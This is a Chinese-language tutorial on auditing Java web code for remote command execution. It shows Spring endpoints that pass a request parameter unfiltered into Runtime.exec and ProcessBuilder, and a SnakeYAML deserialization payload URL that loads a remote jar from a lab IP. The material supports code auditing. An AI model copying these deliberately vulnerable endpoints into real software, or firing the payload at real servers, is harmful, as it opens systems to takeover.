RCE 漏洞的定义及原理

  • RCE 的中文名称是远程命令执行,指的是攻击者通过Web 端或客户端提交执行命令,由于服务器端没有针对执行函数做过滤或服务端存在逻辑漏洞,导致在没有指定绝对路径的情况下就可以执行命令。

  • RCE 漏洞的原理其实也很简单,就是通过开发人员没有针对代码中可执行的特殊函数或自定义方法入口做过滤,导致客户端可以提交恶意构造语句,并交由服务器端执行。常见的可执行函数如:Runtime.exec(),当然我们审计的时候,决不能只根据这个函数来,其他的审计点如:Process、ProcessBuilder.start()等也是很重要的内容。

Runtime

@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {Runtime run = Runtime.getRuntime();StringBuilder sb = new StringBuilder();try {Process p = run.exec(cmd);BufferedInputStream in = new BufferedInputStream(p.getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String tmpStr;while ((tmpStr = inBr.readLine()) != null) {sb.append(tmpStr);}if (p.waitFor() != 0) {if (p.exitValue() == 1)return "Command exec failed!!";}inBr.close();in.close();} catch (Exception e) {return e.toString();}return sb.toString();
}

ProcessBuilder

  • ProcessBuilder传入参数为列表,第一个参数为可执行命令程序,后面的参数为执行的命令程序的参数。

     @GetMapping("/ProcessBuilder")public String processBuilder(String cmd) {StringBuilder sb = new StringBuilder();try {// String[] arrCmd = {"/bin/sh", "-c", cmd};  //linuxString[] arrCmd = {cmd};                 //windows,windos下无需指定ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);Process p = processBuilder.start();BufferedInputStream in = new BufferedInputStream(p.getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String tmpStr;while ((tmpStr = inBr.readLine()) != null) {sb.append(tmpStr);}} catch (Exception e) {return e.toString();}return sb.toString();}
    

jscmd

  • 传入的参数为一个JavaScript代码的url地址

yml

  • YAML(YAML Ain’t Markup Language),也可以叫做YML,是一种人性化的数据序列化的语言,类似于XML,JSON。SpringBoot的配置文件就支持yaml文件

  • 利用SnakeYAML存在的反序列化漏洞来rce,在解析恶意 yml 内容时会完成指定的动作。

  • https://github.com/artsploit/yaml-payload

http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://10.0.2.132/yaml-payload.jar"]]]
]

java审计-RCE审计相关推荐

  1. python vba 审计_审计工作中有哪些 Excel VBA 的应用?

    谢邀.不过说来惭愧,虽然我也算是会计科班出身,但多年来主要是在计算机领域工作.唯一能跟审计沾上边的,就是从2004年开始的讲授高校信息系统审计(IT审计)课程.给银行做IT审计咨询,以及后来曾经短期在 ...

  2. 信息系统审计(IT审计)实践

    IT审计,也称为"信息系统审计",它的主要目的就是:确保信息技术战略和业务战略保持一致,提高系统的可靠性.稳定性.安全性及数据处理的完整性和准确性,提升系统运行效果和效率,确保财务 ...

  3. 运用计算机审计,【审计前沿】信息系统审计中计算机审计的应用

    原标题:[审计前沿]信息系统审计中计算机审计的应用 摘要: 审计工作是企业或者单位内部管理中的一项关键性工作, 对于维护企业或单位的稳定运行.促进可持续发展具有重要作用.在审计范围.审计对象及审计环境 ...

  4. oracle数据库审计os,审计Oracle数据库的使用

    Normal 0 7.8 磅 0 2 false false false MicrosoftInternetExplorer4 仅使用权限.角色.视图.甚至细粒度安全策略建立访问控制系统还不能保证数据 ...

  5. 信息系统审计(IT审计)

    主要内容: 引言 IT风险案例 为什么IT审计                                       一. IT审计起源和发展 IT审计起源 IT审计发展历史 IT审计发展阶段 ...

  6. mysql8审计_审计对存储在MySQL 8.0中的分类数据的更改

    作者:Mike Frank  译:徐轶韬 面临的挑战 使用敏感信息时您需要拥有审计日志.通常,此类数据将包含一个分类级别作为行的一部分,定义如何处理.审计等策略.在之前的博客中,我讨论了如何审计分类数 ...

  7. 预算执行审计计算机审计方法,预算执行审计中计算机审计思路和SQL语句运用.doc...

    预算执行审计中计算机审计思路和SQL语句运用 预算执行审计中计算机审计思路和SQL语句运用 [摘要] 面对庞大的业务数据量,计算机辅助审计的开展解决了手工审计无法做到的审查功能,财政预算执行的审计领域 ...

  8. 文件包含漏洞的审计(审计思路)

    一.文件包含漏洞的审计 考虑绕过,包含一个特殊的文件,构造一个压缩包 上传一个特殊文件 时间戳信息 几次尝试之后找到路径 用伪协议打开 伪图片的压缩包去读取内部的inc文件 回到网页去访问它 测试是否 ...

  9. 惠农补贴一折通计算机审计方法,审计惠农补贴资金的方法有哪些

    国家从1999年实施退耕还林以后,又陆续出台了一系列惠农政策.其中:直接补贴给农民的资金除退耕还林资金以外,还有粮食直接补贴.农作物(水稻.玉米.小麦.棉花)良种补贴.能繁母猪补贴.农资综合直补.农机 ...

最新文章

  1. gcc编译选项的循环重复查找依赖库等命令
  2. Faster RCNN 训练自己的检测模型
  3. es嵌套聚合dsl(求均值,求和)
  4. 浅谈PHP语音里的流程控制及实现方法
  5. java 用 jxl poi 进行excel 解析 *** 最爱那水货
  6. GAN也有脾气:「太难的部分我就不生成了,在下告退」
  7. JavaScript之Object
  8. 架构设计(6)---Web架构师究竟都要学些什么?
  9. mongodb默认的用户名密码_Windows下MongoDB设置用户、密码
  10. C++ Primer 5th 第1章 开始
  11. Mac 安装svn客户端+idea配置svn
  12. codesmith生成SQLSERVER实体(带注释)
  13. 转:“有活吗?我们什么都干!”稻盛和夫这样带企业穿越萧条
  14. Cognos函数(六) - total的使用
  15. REST Assured 4 - 第一个GET Request
  16. Tomcat传url地址中的特殊字符无法识别问题
  17. iOS调优 | 深入理解Link Map File
  18. JavaScript-快速入门
  19. 关机状态下启动微型计算机叫做,湖南省计算机等级考试题库
  20. 中兴通讯加入星策开源社区 携手推动企业智能化转型建设

热门文章

  1. 深度 | 700块钱“买到”全国简历,“58同城信息采集器”到底有多逆天?
  2. zabbix监控告警表报统计
  3. 开发一个投票项目的JAVA服务端-SSM项目
  4. Android 自动拦截与自动接听功能APK黑白名单
  5. GoPing_多线程图形化ping工具
  6. 第七章 面向对象核心技术
  7. dell服务器r730老自动重启_戴尔R730 R720服务器故障维修
  8. 向量空间及其子空间的基与维数de 一些命题
  9. hdu 4578 Transformation
  10. 滚齿挂轮计算软件手机版_2020年人力资源必备管理软件排行榜